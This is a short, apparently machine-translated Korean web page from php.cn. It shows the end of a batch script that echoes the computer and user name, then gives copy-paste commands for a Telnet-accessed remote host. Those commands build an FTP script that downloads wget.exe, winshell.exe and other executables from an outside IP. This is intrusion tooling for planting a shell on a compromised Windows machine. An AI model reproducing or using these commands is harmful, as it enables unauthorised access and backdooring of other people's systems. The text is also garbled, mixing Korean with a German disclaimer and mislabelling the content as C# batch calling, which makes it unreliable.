@echo " fpass.bat %COMPUTERNAME% %USERNAME% 관리자 "
@echo " fpass.bat end [%errorlevel%] !"
_______________fpass.bat___END_______________________________________________________________
다른 하나는 Telnet을 통해 원격 호스트에 로그인했다는 것입니다. 파일 업로드 방법(win)
다음 사항을 입력하세요. 물론, 모두 복사하셔도 됩니다.

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w

위 내용은 .bat 파일을 호출하는 내용입니다. c#. 더 많은 관련 내용을 보려면 PHP 중국어 웹사이트(www.php.cn)를 주목하세요!


Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn